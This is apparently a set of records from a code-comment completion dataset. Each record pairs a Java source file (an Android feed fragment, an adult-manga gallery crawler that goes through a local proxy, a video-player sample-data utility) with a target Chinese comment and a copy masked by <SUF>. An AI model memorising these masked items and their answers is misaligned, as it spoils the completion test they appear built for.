toast("下载并解压成功"); mProgressDialog.dismiss(); } private void fetchData() { EmanualAPI.getInterviewFeeds(new AsyncHttpResponseHandler() { @Override public void onStart() { super.onStart(); SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), true); } @Override public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) { try { List<FeedsItemEntity> feeds = FeedsItemEntity.createByJSONArray(new String(responseBody), FeedsItemEntity.class); Timber.d(feeds.toString()); recyclerView.setAdapter(new FeedsListAdapter(getContext(), feeds, FeedsListAdapter.TYPE_INTERVIEW)); } catch (Exception e) { toast("哎呀,网络异常!"); } } @Override public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) { } @Override public void onFinish() { super.onFinish(); SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), false); } @Override public void onProgress(long bytesWritten, long totalSize) { super.onProgress(bytesWritten, totalSize); } }); } }
0
40957_21
package com.cn.main; import com.cn.util.HttpClientUtil; import org.apache.commons.io.FileUtils; import org.apache.http.HttpEntity; import org.apache.http.HttpHost; import org.apache.http.client.config.RequestConfig; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.select.Elements; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.List; public class nyaPictureMain { //存放目录 private static String fileSource = "E://nyaManhua//new//"; public static void main(String[] args) throws Exception { List<String> urlList = new ArrayList<String>(); //地址 urlList.add("https://zha.doghentai.com/g/338012/"); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); nyaPictureMain.crawlerNyaUrl(urlList); String exSite = "cmd /c start " + fileSource ; Runtime.getRuntime().exec(exSite); } public static void crawlerNyaPic(int picSum,String fileUrl,String intputFile,String suffix){ try { for (int i = 1; i <= picSum; i++) { // suffix = ".jpg"; //随时替换文件格式 CloseableHttpClient httpClient = HttpClients.createDefault(); // 创建HttpClient实例 HttpGet httpGet = new HttpGet(fileUrl+i+suffix); // 创建Httpget实例 //设置Http报文头信息 httpGet.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); httpGet.setHeader("accept", "image/avif,image/webp,image/apng,image/*,*/*;q=0.8"); httpGet.setHeader("accept-encoding", "gzip, deflate, br"); httpGet.setHeader("referer", "https://zha.doghentai.com/"); httpGet.setHeader("sec-fetch-dest", "image"); httpGet.setHeader("accept-language", "zh-CN,zh;q=0.9,en;q=0.8"); HttpHost proxy = new HttpHost("127.0.0.1", 7890); //超时时间单位为毫秒 RequestConfig defaultRequestConfig = RequestConfig.custom() .setConnectTimeout(1000).setSocketTimeout(30000) .setProxy(proxy).build(); httpClient = HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build(); CloseableHttpResponse response = null; response = httpClient.execute(httpGet); // 执行http get请求 HttpEntity entity = response.getEntity(); // 获取返回实体 if(null != entity){ InputStream inputStream = entity.getContent();//返回一个输入流 //输出图片 FileUtils.copyInputStreamToFile(inputStream, new File(intputFile+i+suffix));//引用org.apache.commons.io.FileUtils System.out.println(i+suffix); } response.close(); // 关闭response httpClient.close(); // 关闭HttpClient实体 } }catch (Exception e){ System.out.println(e); } } public static void crawlerNyaUrl(List<String> urlList) throws Exception { Integer rateDow = 1; for(String url:urlList){ String html = ""; if(url.length() != 0){ html = HttpClientUtil.getSource(url); Document document = Jsoup.parse(html); Element element = document.selectFirst("div.container").selectFirst("a"); String coverImgUrl = element.select("img").attr("data-src"); //获取图片载点 String[] ourStr = coverImgUrl.split("/"); //获取后缀 String[] oursuffix = coverImgUrl.split("\\."); //获取数量 Elements picSum = document.select("div.thumb-container"); //获取本子名字 String benziName = element.select("img").attr("alt"); benziName = benziName.replaceAll("\\?","").replaceAll(":","").replaceAll(" ","").replaceAll("\\*",""); int count = picSum.size(); int benziN = Integer.parseInt(ourStr[ourStr.length-2]); String suffix = "."+oursuffix[oursuffix.length-1]; String fileUrl = "https://i0.nyacdn.com/galleries/"+benziN+"/"; String intputFile = fileSource +benziName +"//"; nyaPictureMain.crawlerNyaPic(count,fileUrl,intputFile,suffix); //缓存完后暂停几秒 Thread.sleep(3000); } } System.out.println("喵变态图片缓存成功!!!!"); } }
ERYhua/nyaHentaiCrawler
src/main/java/com/cn/main/nyaPictureMain.java
1,357
//缓存完后暂停几秒
line_comment
zh-cn
package com.cn.main; import com.cn.util.HttpClientUtil; import org.apache.commons.io.FileUtils; import org.apache.http.HttpEntity; import org.apache.http.HttpHost; import org.apache.http.client.config.RequestConfig; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.select.Elements; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.List; public class nyaPictureMain { //存放目录 private static String fileSource = "E://nyaManhua//new//"; public static void main(String[] args) throws Exception { List<String> urlList = new ArrayList<String>(); //地址 urlList.add("https://zha.doghentai.com/g/338012/"); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); urlList.add(""); nyaPictureMain.crawlerNyaUrl(urlList); String exSite = "cmd /c start " + fileSource ; Runtime.getRuntime().exec(exSite); } public static void crawlerNyaPic(int picSum,String fileUrl,String intputFile,String suffix){ try { for (int i = 1; i <= picSum; i++) { // suffix = ".jpg"; //随时替换文件格式 CloseableHttpClient httpClient = HttpClients.createDefault(); // 创建HttpClient实例 HttpGet httpGet = new HttpGet(fileUrl+i+suffix); // 创建Httpget实例 //设置Http报文头信息 httpGet.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); httpGet.setHeader("accept", "image/avif,image/webp,image/apng,image/*,*/*;q=0.8"); httpGet.setHeader("accept-encoding", "gzip, deflate, br"); httpGet.setHeader("referer", "https://zha.doghentai.com/"); httpGet.setHeader("sec-fetch-dest", "image"); httpGet.setHeader("accept-language", "zh-CN,zh;q=0.9,en;q=0.8"); HttpHost proxy = new HttpHost("127.0.0.1", 7890); //超时时间单位为毫秒 RequestConfig defaultRequestConfig = RequestConfig.custom() .setConnectTimeout(1000).setSocketTimeout(30000) .setProxy(proxy).build(); httpClient = HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build(); CloseableHttpResponse response = null; response = httpClient.execute(httpGet); // 执行http get请求 HttpEntity entity = response.getEntity(); // 获取返回实体 if(null != entity){ InputStream inputStream = entity.getContent();//返回一个输入流 //输出图片 FileUtils.copyInputStreamToFile(inputStream, new File(intputFile+i+suffix));//引用org.apache.commons.io.FileUtils System.out.println(i+suffix); } response.close(); // 关闭response httpClient.close(); // 关闭HttpClient实体 } }catch (Exception e){ System.out.println(e); } } public static void crawlerNyaUrl(List<String> urlList) throws Exception { Integer rateDow = 1; for(String url:urlList){ String html = ""; if(url.length() != 0){ html = HttpClientUtil.getSource(url); Document document = Jsoup.parse(html); Element element = document.selectFirst("div.container").selectFirst("a"); String coverImgUrl = element.select("img").attr("data-src"); //获取图片载点 String[] ourStr = coverImgUrl.split("/"); //获取后缀 String[] oursuffix = coverImgUrl.split("\\."); //获取数量 Elements picSum = document.select("div.thumb-container"); //获取本子名字 String benziName = element.select("img").attr("alt"); benziName = benziName.replaceAll("\\?","").replaceAll(":","").replaceAll(" ","").replaceAll("\\*",""); int count = picSum.size(); int benziN = Integer.parseInt(ourStr[ourStr.length-2]); String suffix = "."+oursuffix[oursuffix.length-1]; String fileUrl = "https://i0.nyacdn.com/galleries/"+benziN+"/"; String intputFile = fileSource +benziName +"//"; nyaPictureMain.crawlerNyaPic(count,fileUrl,intputFile,suffix); //缓存 <SUF> Thread.sleep(3000); } } System.out.println("喵变态图片缓存成功!!!!"); } }
0
22912_54
package xyz.doikki.dkplayer.util; import android.content.Context; import xyz.doikki.dkplayer.bean.TiktokBeanDk; import xyz.doikki.dkplayer.bean.VideoBeanDk; import java.io.IOException; import java.io.InputStream; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.List; public class DataUtilDk { public static final String SAMPLE_URL = "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4"; // public static final String SAMPLE_URL = "file:///mnt/sdcard/out.webm"; // public static List<VideoBean> getVideoList() { // List<VideoBean> videoList = new ArrayList<>(); // videoList.add(new VideoBean("七舅脑爷| 脑爷烧脑三重奏,谁动了我的蛋糕", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/03/2018-03-30_10-1782811316-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/03/29/8b5ecf95be5c5928b6a89f589f5e3637.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 你会不会在爱情中迷失了自我,从而遗忘你正拥有的美好?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-09_23-573150677-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/056bf3fabc41a1c1257ea7f69b5ee787.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 别因为你的患得患失,就怀疑爱情的重量", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-23_57-2208169443-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/db48634c0e7e3eaa4583aa48b4b3180f.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 女员工遭老板调戏,被同事陷害,双面夹击路在何方?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/12/2017-12-08_39-829276539-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/12/29/fc821f9a8673d2994f9c2cb9b27233a3.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 夺人女友,帮人作弊,不正经的学霸比校霸都可怕。", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/01/2018-01-05_49-2212350172-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/01/29/bc95044a9c40ec2d8bdf4ac9f8c50f44.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 男子被困秘密房间上演绝命游戏, 背后凶手竟是他?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-10_10-320769792-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/15f22f48466180232ca50ec25b0711a7.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 男人玩心机,真真假假,我究竟变成了谁?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-03_37-744135043-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/7c21c43ba0817742ff0224e9bcdf12b6.mp4")); // // return videoList; // } public static List<VideoBeanDk> getVideoList() { List<VideoBeanDk> videoList = new ArrayList<>(); videoList.add(new VideoBeanDk("预告片1", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/02/04/mp4/190204084208765161.mp4")); videoList.add(new VideoBeanDk("预告片2", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/21/mp4/190321153853126488.mp4")); videoList.add(new VideoBeanDk("预告片3", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319222227698228.mp4")); videoList.add(new VideoBeanDk("预告片4", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319212559089721.mp4")); videoList.add(new VideoBeanDk("预告片5", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/18/mp4/190318231014076505.mp4")); videoList.add(new VideoBeanDk("预告片6", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/18/mp4/190318214226685784.mp4")); videoList.add(new VideoBeanDk("预告片7", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319104618910544.mp4")); videoList.add(new VideoBeanDk("预告片8", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319125415785691.mp4")); videoList.add(new VideoBeanDk("预告片9", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/17/mp4/190317150237409904.mp4")); videoList.add(new VideoBeanDk("预告片10", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4")); videoList.add(new VideoBeanDk("预告片11", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314102306987969.mp4")); videoList.add(new VideoBeanDk("预告片12", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/13/mp4/190313094901111138.mp4")); videoList.add(new VideoBeanDk("预告片13", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/12/mp4/190312143927981075.mp4")); videoList.add(new VideoBeanDk("预告片14", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/12/mp4/190312083533415853.mp4")); return videoList; } // /** // * 抖音演示数据 // */ // public static List<VideoBean> getTikTokVideoList() { // List<VideoBean> videoList = new ArrayList<>(); // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0")); // return videoList; // } public static List<TiktokBeanDk> tiktokData; public static List<TiktokBeanDk> getTiktokDataFromAssets(Context context) { try { if (tiktokData == null) { InputStream is = context.getAssets().open("tiktok_data"); int length = is.available(); byte[] buffer = new byte[length]; is.read(buffer); is.close(); String result = new String(buffer, Charset.forName("UTF-8")); tiktokData = TiktokBeanDk.arrayTiktokBeanFromData(result); } return tiktokData; } catch (IOException e) { e.printStackTrace(); } return new ArrayList<>(); } }
ETS-Android5/geeklxlibs
zdkplayer/dkplayer/src/main/java/xyz/doikki/dkplayer/util/DataUtilDk.java
5,474
// * 抖音演示数据
line_comment
zh-cn
package xyz.doikki.dkplayer.util; import android.content.Context; import xyz.doikki.dkplayer.bean.TiktokBeanDk; import xyz.doikki.dkplayer.bean.VideoBeanDk; import java.io.IOException; import java.io.InputStream; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.List; public class DataUtilDk { public static final String SAMPLE_URL = "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4"; // public static final String SAMPLE_URL = "file:///mnt/sdcard/out.webm"; // public static List<VideoBean> getVideoList() { // List<VideoBean> videoList = new ArrayList<>(); // videoList.add(new VideoBean("七舅脑爷| 脑爷烧脑三重奏,谁动了我的蛋糕", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/03/2018-03-30_10-1782811316-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/03/29/8b5ecf95be5c5928b6a89f589f5e3637.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 你会不会在爱情中迷失了自我,从而遗忘你正拥有的美好?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-09_23-573150677-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/056bf3fabc41a1c1257ea7f69b5ee787.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 别因为你的患得患失,就怀疑爱情的重量", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/02/2018-02-23_57-2208169443-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/02/29/db48634c0e7e3eaa4583aa48b4b3180f.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 女员工遭老板调戏,被同事陷害,双面夹击路在何方?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/12/2017-12-08_39-829276539-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/12/29/fc821f9a8673d2994f9c2cb9b27233a3.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 夺人女友,帮人作弊,不正经的学霸比校霸都可怕。", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2018/01/2018-01-05_49-2212350172-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2018/01/29/bc95044a9c40ec2d8bdf4ac9f8c50f44.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 男子被困秘密房间上演绝命游戏, 背后凶手竟是他?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-10_10-320769792-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/15f22f48466180232ca50ec25b0711a7.mp4")); // // videoList.add(new VideoBean("七舅脑爷| 男人玩心机,真真假假,我究竟变成了谁?", // "http://tanzi27niu.cdsb.mobi/wps/wp-content/uploads/2017/11/2017-11-03_37-744135043-750x420.jpg", // "http://cdnxdc.tanzi88.com/XDC/dvideo/2017/11/29/7c21c43ba0817742ff0224e9bcdf12b6.mp4")); // // return videoList; // } public static List<VideoBeanDk> getVideoList() { List<VideoBeanDk> videoList = new ArrayList<>(); videoList.add(new VideoBeanDk("预告片1", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/02/04/mp4/190204084208765161.mp4")); videoList.add(new VideoBeanDk("预告片2", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/21/mp4/190321153853126488.mp4")); videoList.add(new VideoBeanDk("预告片3", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319222227698228.mp4")); videoList.add(new VideoBeanDk("预告片4", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319212559089721.mp4")); videoList.add(new VideoBeanDk("预告片5", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/18/mp4/190318231014076505.mp4")); videoList.add(new VideoBeanDk("预告片6", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/18/mp4/190318214226685784.mp4")); videoList.add(new VideoBeanDk("预告片7", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319104618910544.mp4")); videoList.add(new VideoBeanDk("预告片8", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/19/mp4/190319125415785691.mp4")); videoList.add(new VideoBeanDk("预告片9", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/17/mp4/190317150237409904.mp4")); videoList.add(new VideoBeanDk("预告片10", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314223540373995.mp4")); videoList.add(new VideoBeanDk("预告片11", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/14/mp4/190314102306987969.mp4")); videoList.add(new VideoBeanDk("预告片12", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/13/mp4/190313094901111138.mp4")); videoList.add(new VideoBeanDk("预告片13", "https://cms-bucket.nosdn.127.net/eb411c2810f04ffa8aaafc42052b233820180418095416.jpeg", "http://vfx.mtime.cn/Video/2019/03/12/mp4/190312143927981075.mp4")); videoList.add(new VideoBeanDk("预告片14", "https://cms-bucket.nosdn.127.net/cb37178af1584c1588f4a01e5ecf323120180418133127.jpeg", "http://vfx.mtime.cn/Video/2019/03/12/mp4/190312083533415853.mp4")); return videoList; } // /** // * 抖音 <SUF> // */ // public static List<VideoBean> getTikTokVideoList() { // List<VideoBean> videoList = new ArrayList<>(); // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4c87000639ab0f21c285.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=97022dc18711411ead17e8dcb75bccd2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bea0014e31708ecb03e.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=374e166692ee4ebfae030ceae117a9d0&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p1.pstatp.com/large/4bb500130248a3bcdad0.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=8a55161f84cb4b6aab70cf9e84810ad2&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b8300007d1906573584.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=47a9d69fe7d94280a59e639f39e4b8f4&line=0&ratio=720p&media_type=4&vr_type=0")); // // videoList.add(new VideoBean("", // "https://p9.pstatp.com/large/4b61000b6a4187626dda.jpeg", // "https://aweme.snssdk.com/aweme/v1/play/?video_id=3fdb4876a7f34bad8fa957db4b5ed159&line=0&ratio=720p&media_type=4&vr_type=0")); // return videoList; // } public static List<TiktokBeanDk> tiktokData; public static List<TiktokBeanDk> getTiktokDataFromAssets(Context context) { try { if (tiktokData == null) { InputStream is = context.getAssets().open("tiktok_data"); int length = is.available(); byte[] buffer = new byte[length]; is.read(buffer); is.close(); String result = new String(buffer, Charset.forName("UTF-8")); tiktokData = TiktokBeanDk.arrayTiktokBeanFromData(result); } return tiktokData; } catch (IOException e) { e.printStackTrace(); } 